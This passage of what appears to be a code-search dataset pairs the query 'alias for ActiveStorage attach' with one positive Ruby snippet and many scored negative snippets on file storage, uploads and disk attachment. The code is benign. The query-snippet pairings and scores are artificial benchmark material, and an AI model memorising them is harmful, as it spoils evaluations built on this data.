"" }, { "docid": "7831ba0661be45c2543cf0e8ff15c3e9", "score": "0.66955316", "text": "def original_fullpath; end", "title": "" }, { "docid": "752661f9ae932214c3a453e45b399e92", "score": "0.66810447", "text": "def path()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "752661f9ae932214c3a453e45b399e92", "score": "0.66810447", "text": "def path()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "06a083d46096a5a2d7fa7a1e899c499e", "score": "0.66806847", "text": "def path\n self.pathname.to_s\n end", "title": "" }, { "docid": "319cf2d0d7c493b4f87b55784f410af4", "score": "0.66757035", "text": "def path\n @path ||= posix_path(@document.full_name.get)\n end", "title": "" }, { "docid": "6c042c369e3ad0666de8b450aa10e027", "score": "0.66745496", "text": "def get_path(name, path=nil)\n return path if path == STDOUT\n \n if path.nil?\n path = name.underscore\n end\n if !path.include?('/')\n path = Rails.root.join('log',path).to_s\n end\n if !path.end_with?('.log')\n path += '.log'\n end\n path\n end", "title": "" }, { "docid": "67982a1653e99d0498beabc9be14189f", "score": "0.66728246", "text": "def path\n File.dirname(root)\n end", "title": "" } ]
54ad9939191915e23c4b071abdea900b
alias for ActiveStorage attach
[ { "docid": "65c714ebd272ddd47775d24d0c7af80a", "score": "0.0", "text": "def add_thumbnail(io: nil, filename: nil)\n return if io.nil? || filename.nil?\n\n thumbnails.attach(io: io, filename: filename)\n end", "title": "" } ]
[ { "docid": "faa3e913dd6e1bdef6f453a0b1f08994", "score": "0.6412242", "text": "def attach_storage(server_uuid, storage_uuid:, type: \"disk\", address: nil)\n data = {\n \"storage_device\" => {\n \"type\" => type,\n \"storage\" => storage_uuid\n }\n }\n data[\"storage_device\"][\"address\"] = address unless address.nil?\n\n json = JSON.generate data\n\n response = post \"server/#{server_uuid}/storage/attach\", json\n\n response\n end", "title": "" }, { "docid": "a446d916252f5c0cf7b579962d5e71a1", "score": "0.6288433", "text": "def attach; end", "title": "" }, { "docid": "262f7b5ee9bdb5fc054204f75b20b06f", "score": "0.61719954", "text": "def storage_instance; end", "title": "" }, { "docid": "121df12e8529864ca030d1a1ec306970", "score": "0.6141472", "text": "def active_storage_param(relation)\n if relation.has_one?\n relation.name.to_s.gsub(/(_attachment)$/, '').to_sym\n else\n { relation.name.to_s.gsub(/(_attachments)$/, '').to_sym => [] }\n end\n end", "title": "" }, { "docid": "351cfd37912aeeff49060dfe03bce44d", "score": "0.59410596", "text": "def attach(*attachables)\n @attachments = attachments | Array(attachables).flatten.collect do |attachable|\n ActiveStorage::Attachment.create!(record_gid: record.to_gid.to_s, name: name, blob: create_blob_from(attachable))\n end\n end", "title": "" }, { "docid": "20172833671c2efbd2798e11af0b151e", "score": "0.5810028", "text": "def save_attached_files; end", "title": "" }, { "docid": "20172833671c2efbd2798e11af0b151e", "score": "0.5810028", "text": "def save_attached_files; end", "title": "" }, { "docid": "ee35dee6fbf836267aad272fe089d625", "score": "0.579624", "text": "def attach_disk(config, prefix, disk_num, size)\n filename = \"#{prefix}#{disk_num}.vdi\"\n config.vm.provider \"virtualbox\" do |vb|\n if !File.exist?(filename) \n vb.customize ['createhd', '--filename', filename, '--size', (size * 1024).floor, '--variant', 'fixed']\n vb.customize ['modifyhd', filename, '--type', 'shareable']\n end\n\n vb.customize ['storageattach', :id, '--storagectl', 'SATAController', '--port', disk_num + 2, '--device', 0, '--type', 'hdd', '--medium', filename]\n end\nend", "title": "" }, { "docid": "43e0369949caabb596f450bdc1932e37", "score": "0.5793391", "text": "def storage\n uploader.storage\n end", "title": "" }, { "docid": "492a838f974e711f3a10725b1e756ae4", "score": "0.5768544", "text": "def did_attach() end", "title": "" }, { "docid": "d4cfd0feedefc3576ad74c1d5d5614bb", "score": "0.5757108", "text": "def backing_store\n Attachment.backing_store(url)\n end", "title": "" }, { "docid": "652a16fdf95b37d8abaeb6d08a60bbe0", "score": "0.5679065", "text": "def storage_options; end", "title": "" }, { "docid": "e56ff13f1e45cd4082883f230d0b086a", "score": "0.5642789", "text": "def storage() @storage; end", "title": "" }, { "docid": "0ac0680c034da37dfd14a015845aab6d", "score": "0.5636847", "text": "def attachment\n raise NotImplementedError, 'Please implement me. :('\n end", "title": "" }, { "docid": "c8024d2ce0dcf9c48bfafee875e544fe", "score": "0.56124955", "text": "def set_storage\n @storage = Storage.find(params[:id])\n end", "title": "" }, { "docid": "de764c44f46756b358dbd8475dc51de0", "score": "0.55685085", "text": "def storage; end", "title": "" }, { "docid": "9e1907a529c32a8598faaeb13f9d3dcf", "score": "0.5560144", "text": "def storage_adapter\n Valkyrie::StorageAdapter.find(:disk_via_copy)\n end", "title": "" }, { "docid": "406357a24376ccf6e1adc2995d50da79", "score": "0.555385", "text": "def has_many_attached(name, dependent: :purge_later, service: nil, strict_loading: false)\n validate_service_configuration(name, service)\n\n generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1\n # frozen_string_literal: true\n def #{name}\n @active_storage_attached ||= {}\n @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::Many.new(\"#{name}\", self)\n end\n\n def #{name}=(attachables)\n attachables = Array(attachables).compact_blank\n pending_uploads = attachment_changes[\"#{name}\"].try(:pending_uploads)\n\n attachment_changes[\"#{name}\"] = if attachables.none?\n ActiveStorage::Attached::Changes::DeleteMany.new(\"#{name}\", self)\n else\n ActiveStorage::Attached::Changes::CreateMany.new(\"#{name}\", self, attachables, pending_uploads: pending_uploads)\n end\n end\n CODE\n\n has_many :\"#{name}_attachments\", -> { where(name: name) }, as: :record, class_name: \"ActiveStorage::Attachment\", inverse_of: :record, dependent: :destroy, strict_loading: strict_loading\n has_many :\"#{name}_blobs\", through: :\"#{name}_attachments\", class_name: \"ActiveStorage::Blob\", source: :blob, strict_loading: strict_loading\n\n scope :\"with_attached_#{name}\", -> {\n if ActiveStorage.track_variants\n includes(\"#{name}_attachments\": { blob: { variant_records: { image_attachment: :blob } } })\n else\n includes(\"#{name}_attachments\": :blob)\n end\n }\n\n after_save { attachment_changes[name.to_s]&.save }\n\n after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }\n\n reflection = ActiveRecord::Reflection.create(\n :has_many_attached,\n name,\n nil,\n { dependent: dependent, service_name: service },\n self\n )\n yield reflection if block_given?\n ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)\n end", "title": "" }, { "docid": "9c9a7ba8e4d4165c561e6ac307312aed", "score": "0.55437493", "text": "def attachment; end", "title": "" }, { "docid": "1268e4490c74566d7f407420cf79ac45", "score": "0.5541121", "text": "def attach\n exec \"#{Tmux::BINARY} attach -t #{identifier}\"\n end", "title": "" }, { "docid": "c6987f16c68b2c4a576b1ddb4ac04e1a", "score": "0.5539933", "text": "def set_storage\n @storage = Storage.find(params[:id])\n end", "title": "" }, { "docid": "c6987f16c68b2c4a576b1ddb4ac04e1a", "score": "0.5539933", "text": "def set_storage\n @storage = Storage.find(params[:id])\n end", "title": "" }, { "docid": "c6987f16c68b2c4a576b1ddb4ac04e1a", "score": "0.5539933", "text": "def set_storage\n @storage = Storage.find(params[:id])\n end", "title": "" }, { "docid": "c6987f16c68b2c4a576b1ddb4ac04e1a", "score": "0.5539933", "text": "def set_storage\n @storage = Storage.find(params[:id])\n end", "title": "" }, { "docid": "2d9cc593d8d2b6b5e449ca94eed00413", "score": "0.55358124", "text": "def with_storage_service(storage_service)\n before = ::Rails.application.config.active_storage.service\n service = ActiveStorage::Blob.service\n begin\n ::Rails.application.config.active_storage.service = storage_service\n ActiveStorage::Blob.service = storage_service(storage_service)\n yield\n ensure\n ::Rails.application.config.active_storage.service = before\n ActiveStorage::Blob.service = service\n end\n end", "title": "" }, { "docid": "9b72dea71d14172f496f9914cecfa69c", "score": "0.55141985", "text": "def name()\n \"TestStorageHandler\"\n end", "title": "" }, { "docid": "efc107f50e507131b850ae22ac782f5a", "score": "0.55067754", "text": "def storages\n reflective_auto_load_adapter_extension\n storages # call the overrided method\n end", "title": "" }, { "docid": "bf9ad5ec5d44d15dac29eea08c1235a0", "score": "0.5499174", "text": "def storage \n Trole::Storage::BaseOne\n end", "title": "" }, { "docid": "20a082027c283ffadecc7007074da17f", "score": "0.5484559", "text": "def attachment\n record.public_send(\"#{name}_file\")\n end", "title": "" }, { "docid": "6884289c4c5d7c8b1c86f71f200257f5", "score": "0.5468182", "text": "def attach(*args)\n process_message(:attach, *args)\n end", "title": "" }, { "docid": "8c512138c702d7f37fdd8b138fce09c0", "score": "0.54591566", "text": "def fullname\n \"#{self.attached_file_identifier}\"\n end", "title": "" }, { "docid": "d916a59b5e1eb2c8fb8a7b77d23e9320", "score": "0.5449552", "text": "def primary_storage_adapter\n @storage_adapters.first\n end", "title": "" }, { "docid": "6bd6ecb23995372c4ed6abb08d6bdd4c", "score": "0.5428699", "text": "def get_storage_adapter\n @storage_adapter.new(storage_adapter_config)\n end", "title": "" }, { "docid": "fc89e4dd1cf18f665117a762fba9cba0", "score": "0.54276085", "text": "def storage_instance=(_arg0); end", "title": "" }, { "docid": "4acc9670b9424e976d97424812e909b4", "score": "0.54126376", "text": "def storage_url\n self.auth_response[:storage_url]\n end", "title": "" }, { "docid": "9703c5ba1807ffb583e340f46db451db", "score": "0.54115695", "text": "def storage_options=(_arg0); end", "title": "" }, { "docid": "d7e91e5e63345a5a356fadf24c8ebe90", "score": "0.54078627", "text": "def attach_cached\n return file_attacher.file if file_attacher.cached?\n return if file_attacher.stored? || file_data.blank?\n=begin # TODO: remove when :json resolved\n file_attacher.load_data(file_data)\n=end\n file_attacher_load\n file_attacher.set(nil) unless file_attacher.cached?\n file_attacher.file\n end", "title": "" }, { "docid": "068af39368c62a0b22ce9d932e91e276", "score": "0.53985035", "text": "def attach(attachable)\n # Moving the file to some safe place; as tmp files will be flushed timely\n blob_was = attached? ? read_file(attachable) : nil\n blob = create_file_from(attachable)\n\n unless blob == blob_was\n detach\n write_attachment build_attachment(attachable)\n end\n end", "title": "" }, { "docid": "1b2c4b7b19be58ef7a6b8d9fe28af792", "score": "0.53941965", "text": "def promote(storage: store_key, **options)\n set upload(file, storage, action: :store, **options)\n end", "title": "" }, { "docid": "df5634131603260596123130a8015831", "score": "0.53888047", "text": "def fog\n $fog || Fog::Storage.new(\n :provider => 'Local',\n :local_root => Pusher.server_path\n )\nend", "title": "" }, { "docid": "2fa4a59a6eae689650fbe6a5dc0f4561", "score": "0.5388016", "text": "def add_hdd_to_vbox_vm(client_name,vbox_disk_name)\n message = \"Attaching:\\tStorage to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"#{$vbox_disk_type}\\\" --port 0 --device 0 --type hdd --medium \\\"#{vbox_disk_name}\\\"\"\n execute_command(message,command)\n return\nend", "title": "" }, { "docid": "8c0414531a9e0e2db58369e6281dba1f", "score": "0.5357786", "text": "def save_to_storage\n if save_attachment?\n object = self.class.bucket.objects.build(full_filename)\n\n object.content_type = content_type\n object.acl = attachment_options[:acl]\n object.content = temp_path ? File.open(temp_path) : temp_data\n object.save\n end\n true\n end", "title": "" }, { "docid": "43782a6f86ce584d883c06ff8656853d", "score": "0.53400636", "text": "def attachments\n @attachments ||= ActiveStorage::Attachment.where(record_gid: record.to_gid.to_s, name: name)\n end", "title": "" }, { "docid": "30f188c502cf52fe8f70ae8f24bff855", "score": "0.53366226", "text": "def attach options = {}\n opts = {\n :readonly => false,\n :nomount => false\n }.merge!(options)\n args = [@image_path, '-mount']\n args << (opts[:nomount] ? 'suppressed' : 'required')\n args << '-readonly' if opts[:readonly]\n args << '-mountpoint' << opts[:mountpoint] if opts.has_key?(:mountpoint)\n hdiutil 'attach', *args\n end", "title": "" }, { "docid": "d7e1954e3792001408549dabfe701862", "score": "0.5334151", "text": "def download_url\n ActiveStorage::Current.host = Rails.application.routes.default_url_options[:host] if ActiveStorage::Current.host.blank?\n file.attached? ? file.blob.url : ''\n end", "title": "" }, { "docid": "c06d7d1385b1b00de941b38586065f2e", "score": "0.5333541", "text": "def attach_volume_queue(userid, server_ems_ref, device = nil)\n task_opts = {\n :action => \"attaching Cloud Volume for user #{userid}\",\n :userid => userid\n }\n\n queue_opts = {\n :class_name => self.class.name,\n :method_name => 'attach_volume',\n :instance_id => id,\n :role => 'ems_operations',\n :queue_name => ext_management_system.queue_name_for_ems_operations,\n :zone => ext_management_system.my_zone,\n :args => [server_ems_ref, device]\n }\n\n MiqTask.generic_action_with_callback(task_opts, queue_opts)\n end", "title": "" }, { "docid": "1747938ab12f23eba7a79d137fa22230", "score": "0.532352", "text": "def activate\n # admin.tabs.add \"Heroku\", \"/admin/heroku\", :after => \"Layouts\", :visibility => [:all]\n \n Image.attachment_definitions[:attachment] = {\n :styles => { \n :mini => '48x48>', \n :small => '100x100>', \n :product => '240x240>', \n :large => '600x600>' \n },\n :default_style => :product,\n :storage => :s3,\n :s3_credentials => \"#{HerokuExtension.root}/config/s3.yml\", \n :path => \"products/:id/:style/:basename.:extension\"\n } \n end", "title": "" }, { "docid": "2314f21539e73736bb08796f5653ae04", "score": "0.53008574", "text": "def offer\n vm.storage_profile.image_reference.offer\n end", "title": "" }, { "docid": "ad293233a61de67852ee1d4b4f47249a", "score": "0.5298861", "text": "def storage\n ManagedImage.variants_storage\n end", "title": "" }, { "docid": "b01139133849c23ebb9334f8077e566d", "score": "0.5293669", "text": "def attach_disk(disk, async = true, attached_disk_options = {})\n requires :identity, :zone\n\n if disk.is_a? Disk\n disk_obj = disk.get_attached_disk\n elsif disk.is_a? String\n disk_obj = service.disks.attached_disk_obj(disk, attached_disk_options)\n end\n\n data = service.attach_disk(identity, zone_name, disk_obj)\n operation = Fog::Compute::Google::Operations\n .new(:service => service)\n .get(data.name, data.zone)\n operation.wait_for { ready? } unless async\n reload\n end", "title": "" }, { "docid": "acaecea902877b9d0205cf7f02c31a60", "score": "0.5279903", "text": "def storage\n @storage ||= Fog::Storage.new(storage_config)\n end", "title": "" }, { "docid": "ee443494288391cc4577fd1a94f146ea", "score": "0.52638674", "text": "def current_storage\n @attributes[:current_storage]\n end", "title": "" }, { "docid": "4c10a73b225708c659b4a8ef3606dc31", "score": "0.52597016", "text": "def attached(attclass)\n attachments[attclass.to_s.classify]\n end", "title": "" }, { "docid": "b2ddc1daabe21114a5ab0bd9f2da74e3", "score": "0.5244021", "text": "def attach(file)\n existing_file = self.file\n\n file.owner = self\n file.display_filename = existing_file.display_filename if existing_file\n if file.save and existing_file then\n existing_file.owner_type = nil\n existing_file.owner_id = nil\n existing_file.save\n end\n end", "title": "" }, { "docid": "c7d8ad0f41b62af358c71613fc34647f", "score": "0.52397406", "text": "def uploaded_file(object, &block)\n if (hash = object).is_a?(Hash) && !hash.key?(\"storage\")\n hash.inject({}) do |result, (name, data)|\n result.update(name.to_sym => uploaded_file(data, &block))\n end\n else\n super\n end\n end", "title": "" }, { "docid": "c92942b0f65c7b881ac868d3bf852ef5", "score": "0.5239403", "text": "def attachment(name)\n self::Attachment.new(name)\n end", "title": "" }, { "docid": "6fd8d2241a3c0da7f2e3083e96b23094", "score": "0.52307165", "text": "def attachment(*)\n super\n after :save, :save_attachments\n before :destroy, :destroy_attachments\n end", "title": "" }, { "docid": "0219ae070372ac15019dadaa4d8c8f57", "score": "0.5224415", "text": "def storage_name\n @storage_name || name\n end", "title": "" }, { "docid": "2000907aa0254972e6bc2f4e0405cddd", "score": "0.52082115", "text": "def class_attacher(**options)\n attacher = shrine_class::Attacher.new(**@options, **options)\n attacher.instance_variable_set(:@name, @name)\n attacher\n end", "title": "" }, { "docid": "522a7e95df795aeabf8f5a062b3d1eb9", "score": "0.5202032", "text": "def test_attach_with_fe\n\n @dashboard.register '.+', Ruote::StorageParticipant\n\n pdef = Ruote.define do\n set 'v:message' => 'hello world'\n bravo\n end\n\n wfid = @dashboard.launch(pdef, 'message' => 'hello planet')\n r = @dashboard.wait_for('dispatched')\n\n adef = Ruote.define do\n echo '${v:message}'\n echo '${f:message}'\n end\n\n fe = @dashboard.ps(wfid).expressions.last\n fei = @dashboard.attach(fe.to_h, adef)\n r = @dashboard.wait_for('ceased')\n\n ps = @dashboard.ps(wfid)\n\n assert_equal '0_1_0', fei.expid\n assert_equal wfid, fei.wfid\n\n assert_equal \"hello world\\nhello planet\", @tracer.to_s\n\n assert_equal 0, ps.errors.size\n assert_equal 2, ps.expressions.size\n assert_equal 1, ps.stored_workitems.size\n end", "title": "" }, { "docid": "88d0ccd30eece278fd31877aac9d80fd", "score": "0.5183787", "text": "def s3_object\n attached_file&.storage&.object(file.id)\n end", "title": "" }, { "docid": "2e62c26bb71d4923a3d3644d6a330bc2", "score": "0.5157004", "text": "def attachment(name, raise_errors: false, destroy: true, **options)\n super(name, raise_errors: raise_errors, **options)\n\n attacher = :\"#{name}_attacher\"\n property :\"#{name}_id\", type: String\n\n validate do\n if send(attacher).present?\n send(attacher).valid?\n send(attacher).errors.each do |error|\n errors.add(name, error)\n end\n end\n end\n\n define_method \"#{name}=\" do |value|\n send(\"#{name}_id_will_change!\")\n super(value)\n end\n\n define_method \"remove_#{name}=\" do |value|\n send(\"#{name}_id_will_change!\")\n super(value)\n end\n\n define_method \"remote_#{name}_url=\" do |value|\n send(\"#{name}_id_will_change!\")\n super(value)\n end\n\n before_save do\n send(attacher).store!\n end\n\n after_destroy do\n send(attacher).delete! if destroy\n end\n end", "title": "" }, { "docid": "6c2722b4d8979b20b59653a8167a4ecc", "score": "0.51489985", "text": "def add_to(vm, io_bus, port, device)\n media_arg = case media\n when :disk\n 'hdd'\n when :dvd\n 'dvddrive'\n end\n VirtualBox.run_command! ['VBoxManage', '--nologo', 'storageattach',\n vm.uid, '--storagectl', io_bus.name, '--port', port.to_s,\n '--device', device.to_s, '--type', media_arg, '--medium', file]\n self\n end", "title": "" }, { "docid": "c1c132539b3886b907c4f9a00205fa01", "score": "0.5142843", "text": "def build_attachment(attachable)\n FileStorage::Attachment.new(\n name: name,\n record: record,\n\n # blob: blob,\n location: location,\n namespace: namespace,\n\n original_filename: attachable.original_filename,\n filename: attachable.original_filename,\n filepath: store_path(attachable)\n )\n end", "title": "" }, { "docid": "987a434a6a7ae8dec460aa595a0791e0", "score": "0.51393336", "text": "def upload_local(path, **opt)\n File.open(path) do |io|\n file_attacher.attach(io, **opt)\n end\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n end", "title": "" }, { "docid": "439cfeb0d21862c2cafbbade5fe80b40", "score": "0.51309794", "text": "def attach_disk_to_vm(vm)\n begin\n start_time = Time.now.to_i\n OOLog.info(\"Attaching Storage disk ....\")\n vm_promise = @compute_client.virtual_machines.create_or_update(@rg_name, @instance_name, vm)\n my_vm = vm_promise.value!\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"Storage Disk attached #{duration} seconds\")\n OOLog.info(\"VM: #{my_vm.body.name} UPDATED!!!\")\n return true\n rescue MsRestAzure::AzureOperationError =>e\n OOLog.debug( e.body.inspect)\n if e.body.to_s =~ /InvalidParameter/ && e.body.to_s =~ /already exists/\n OOLog.debug(\"The disk is already attached\")\n else\n OOLog.fatal(e.body)\n end\n rescue MsRestAzure::CloudErrorData =>e\n OOLog.fatal(e.body.message)\n rescue Exception => ex\n OOLog.fatal(ex.message)\n end\n end", "title": "" }, { "docid": "8c413aa4f631bcc0f7b280898db31a1b", "score": "0.5130539", "text": "def publisher\n vm.storage_profile.image_reference.publisher\n end", "title": "" }, { "docid": "13e2cb0200ddba5e47140bf2d14fdd3a", "score": "0.5126421", "text": "def add storage\n Storage.new (storage.data+@data), @length\n end", "title": "" }, { "docid": "38821e95869d4bbd61f4702a326c2f49", "score": "0.51211536", "text": "def attach(new_server_id, device)\n requires :id\n unless in_use?\n data = service.compute.attach_volume(new_server_id, id, device)\n merge_attributes(:attachments => attachments << data.body['volumeAttachment'])\n true\n else\n false\n end\n end", "title": "" }, { "docid": "8d9731fb8f68c1a910786d30a9399192", "score": "0.5118058", "text": "def service\n softlayer_client[:Network_Storage].object_with_id(self.id)\n end", "title": "" }, { "docid": "52338d973a44ee7a92f8bf2a94fe82e2", "score": "0.511651", "text": "def upload_attachment(safebox, attachment)\n if attachment.guid.nil?\n result = @json_client.upload_file(safebox.upload_url, attachment.file_path || attachment.file, attachment.content_type, attachment.filename)\n attachment.guid = result[\"temporary_document\"][\"document_guid\"]\n end\n attachment\n end", "title": "" }, { "docid": "0c78d4de392f49240d76da666b614c86", "score": "0.5112468", "text": "def add_storage_adapter(adapter)\n raise ArgumentError, \"#{adapter} is not a Bumbleworks storage adapter\" unless\n [:driver, :use?, :new_storage, :allow_history_storage?, :storage_class, :display_name].all? { |m| adapter.respond_to?(m) }\n\n @storage_adapters << adapter\n @storage_adapters\n end", "title": "" }, { "docid": "c9406baf99a95a6583e6d2219a940343", "score": "0.51083636", "text": "def deleted_files_storage\n @attributes[:deleted_files_storage]\n end", "title": "" }, { "docid": "8c83980250f44a65dae0966827e7050e", "score": "0.5094845", "text": "def attach_support!\n attachments.inline['phone.png'] = email_cdn_file '/img/phone.png'\n attachments.inline['voicemail.png'] = email_cdn_file '/img/voicemail.png'\n end", "title": "" }, { "docid": "c176a54d738e2149d5f0ecb44ebc5616", "score": "0.5089464", "text": "def store_with(storage, storage_id = nil, &block)\n @storages << Backup::Storage.const_get(\n last_constant(storage)\n ).new(storage_id, &block)\n end", "title": "" }, { "docid": "4677d19cd18004d1d20e19ea2418254c", "score": "0.508763", "text": "def add_attachment_link(name, attachment_name, attachment_model_name)\n link_to_function name do |page|\n page.insert_html :bottom, attachment_name.pluralize.to_sym, :partial => attachments_name, :object => Run.attachment_model_name.to_model.new\n end\n end", "title": "" }, { "docid": "3450e57ea3edcb0a608bd622e8c64bfa", "score": "0.5086685", "text": "def handle_attach_request(obj, original_message)\n if obj.include? :disk\n params = obj[:disk]\n disk_number = params[:disk_number]\n vds_uid = params[:vds_uid]\n\n vds = VpsConfiguration.find_by_uid(vds_uid)\n if vds.nil?\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:vds_not_found]])\n msg.ontology = self.name\n self.agent.reply_to_message(msg, original_message)\n return\n end\n\n disk = VdsDisk.find_by_number(disk_number)\n if disk.nil?\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:disk_not_found]])\n msg.ontology = self.name\n self.agent.reply_to_message(msg, original_message)\n return\n end\n\n if vds.disks.find {|d| d.number == disk.number}\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:already_attached]])\n msg.ontology = self.name\n self.agent.reply_to_message(msg, original_message)\n return\n end\n\n vds.attach_disk(disk)\n create_saga(AttachVirtualDiskSaga).start(disk_number, vds_uid, disk.block_device, original_message)\n end\n end", "title": "" }, { "docid": "3a3cd70bd6f35d433052e8c0f09bfec1", "score": "0.50838757", "text": "def issuer\n self.storage_issuer\n end", "title": "" }, { "docid": "0f9f597c602e4b858425ab7372e84c58", "score": "0.50832546", "text": "def server_attach(dbname, mode)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "e4af57aafbc184ac4ea34a8d5e23dbb5", "score": "0.50814444", "text": "def attached_to\n\t\tregion = resource[:availability_zone].to_s.gsub(/.$/,'') \n\t\tcompute = Fog::Compute.new(:provider => 'aws', :region => \"#{region}\")\n\t\tvolume = volinfo(compute,resource[:volume_name])\n\t\tprint \"attached_to: looking at volume #{resource[:volume_name]}\\n\" if $debug\n\t\tif ( volume['status'] == 'in-use' ) \n\t\t\t# Look for the name of the instance which this volume is attached to.\n\t\t\tif ( volume['attachmentSet'][0]['instanceId'] != nil )\n\t\t\t\tprint \"#{resource[:volume_name]} is attached to #{volume['attachmentSet'][0]['instanceId']}\\n\" if $debug\n\t\t\t\t# If the resource is specified as attached_to => \"me\" then we'd better check that it is attached\n\t\t\t\t# to this machine.\n\t\t\t\tif ( resource[:attached_to] == \"me\")\n\t\t\t\t\tprint \"Am I me?\\n\" if $debug\n\t\t\t\t\tprint \"I am #{myname(compute)}\\n\" if $debug\n\t\t\t\t\tif ( myname(compute) == lookupname(compute,volume['attachmentSet'][0]['instanceId']))\n\t\t\t\t\t\treturn \"me\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn lookupname(compute,volume['attachmentSet'][0]['instanceId'])\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\treturn lookupname(compute,volume['attachmentSet'][0]['instanceId'])\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn ''\n\tend", "title": "" }, { "docid": "b943a21194db671cb5e74ca1e37a123f", "score": "0.5078481", "text": "def enable\n {\n method: \"DOMStorage.enable\"\n }\n end", "title": "" }, { "docid": "fc2ebffa1a73c6a26dfcbd0170630e0b", "score": "0.5078091", "text": "def uploader\n @uploader ||= shrine_class.new(storage_key)\n end", "title": "" }, { "docid": "50109b2696ad74921296a1aa44ec7476", "score": "0.50687194", "text": "def store_file(uuid)\n Uploadcare::File.store(uuid)\n end", "title": "" }, { "docid": "189205ff04400f82c945f381cafde20b", "score": "0.506051", "text": "def storage=(_arg0); end", "title": "" }, { "docid": "a214eb543a76e356443fef01ba37fdef", "score": "0.50447005", "text": "def build_attacher(object, options)\n shrine_class::Attacher.new(object, @name, @options.merge(options))\n end", "title": "" }, { "docid": "6ed550c8513bae4984a2a8bfe6e1b7a7", "score": "0.5040758", "text": "def attach(source); end", "title": "" }, { "docid": "60d7bd7dd15650d0f9c802543095008b", "score": "0.5037094", "text": "def storage_participant\n engine.storage_participant\n end", "title": "" }, { "docid": "a4f7745cfb6b378b18ee29fa86d347e7", "score": "0.5025499", "text": "def storage(arg=nil)\n set_or_return(:storage, arg, :kind_of => String)\n end", "title": "" }, { "docid": "174e9a3d44a8f67748a607ff35628aba", "score": "0.50190663", "text": "def attach_storage_volume(volume_id, instance_id, device=nil)\n must_support! :storage_volumes\n result = connection.post(api_uri(\"/storage_volumes/#{volume_id}/attach\")) do |r|\n r.params = { :instance_id => instance_id, :device => device }\n end\n if result.status.is_ok?\n from_resource(:storage_volume, result)\n end\n end", "title": "" }, { "docid": "feb718d587af84f8ff476cfe5a5de13b", "score": "0.5016348", "text": "def storage(domain)\n host = vhost(domain)\n host ? host.storage : @null\n end", "title": "" }, { "docid": "5ba0a70183e0ae894f05cecc68a3f4b9", "score": "0.50112975", "text": "def set_item_storage\n @item_storage = ItemStorage.find(params[:id])\n end", "title": "" }, { "docid": "a5ffdf64d70dfba33124751300fd3569", "score": "0.50063795", "text": "def <<(a_nomad)\n @attached_nomad = a_nomad\n end", "title": "" }, { "docid": "d32bf0de16ec8aef5bcb60b7244ddcfe", "score": "0.49992755", "text": "def attach_disk(opts, disk_name, instance_id)\n Djinn.log_debug('Calling attach_disk with parameters ' \\\n \"#{opts.inspect}, with disk name #{disk_name} and instance id \" +\n instance_id.to_s)\n\n # Make a copy (the options are a simple hash so shallow copy does the\n # trick) to not modify the original.\n options = opts.clone\n options['instance_id'] = instance_id\n options['disk_name'] = disk_name\n\n uri = URI(\"http://#{@ip}:#{SERVER_PORT}/instance\")\n headers = {'Content-Type' => 'application/json',\n 'AppScale-Secret' => @secret}\n request = Net::HTTP::Post.new(uri.path, headers)\n\n request.body = JSON.dump(options)\n\n return JSON.parse(make_call(request, uri))['location']\n end", "title": "" }, { "docid": "47fbbd7e6c813e9bdcde429c155219e1", "score": "0.49881673", "text": "def storage\n Boom.storage\n end", "title": "" }, { "docid": "8841637de41bd09c98c57f21299991c0", "score": "0.4984972", "text": "def ext_url\n \"https://storage.googleapis.com#{ext_path}\"\n end", "title": "" }, { "docid": "b33e71c66ce503c9f2c905187b6e24cf", "score": "0.4982094", "text": "def storage_params\n\n params.require(:storage).permit(:user, :file, :description)\n .merge(user: session[:user_id])\n end", "title": "" }, { "docid": "5fde89dded8a7e27a6699c349d9f2234", "score": "0.49810642", "text": "def store_with(name, storage_id = nil, &block)\n @storages << get_class_from_scope(Storage, name)\n .new(self, storage_id, &block)\n end", "title": "" }, { "docid": "75fdfc426bcd6993016a51a66195ae7a", "score": "0.497977", "text": "def store_blob(object,field_name,blob)\n super #=> returns blob[:tempfile]\n end", "title": "" }, { "docid": "59bf9dab7f22fa5eddfc3557ebba185f", "score": "0.49777618", "text": "def attach(instance)\n # Attach to the instance\n $ec2.attach_volume(self.id, instance.id, '/dev/sdh')\n\n # Wait for it to be attached\n while true\n done = false\n $ec2.describe_volumes([self.id]).each do |result|\n if result[:aws_attachment_status] == 'attached'\n done = true\n end\n end\n if done\n break\n end\n sleep(5)\n end\n\n # Update the database\n self.attached_instance = instance.id\n self.save()\n end", "title": "" }, { "docid": "0082eaf4e137aeb6a2c66ea67bba50dd", "score": "0.4971369", "text": "def attached_file\n=begin # TODO: remove when :json resolved\n file || (file_attacher.load_data(file_data) if file_data.present?)\n=end\n file || file_attacher_load\n end", "title": "" }, { "docid": "27c1a9f9552ccb84653803610188c216", "score": "0.49686006", "text": "def mount_uploader(column, uploader, options={}, &block)\n options[:mount_on] ||= \"#{column}_filename\"\n utf8_smallstring options[:mount_on]\n\n super\n\n alias_method :read_uploader, :read_uploader_activerest\n alias_method :write_uploader, :write_uploader_activerest\n\n include CarrierWave::Validations::ActiveModel\n\n validates_integrity_of column if uploader_option(column.to_sym, :validate_integrity)\n validates_processing_of column if uploader_option(column.to_sym, :validate_processing)\n\n after_save \"store_#{column}!\".to_sym\n before_save \"write_#{column}_identifier\".to_sym\n after_destroy \"remove_#{column}!\".to_sym\n end", "title": "" } ]
dfa6492176488027fbeecc418e1013e5
Find the min needed FEs by finding the best district for FM and dividing the rest between FES
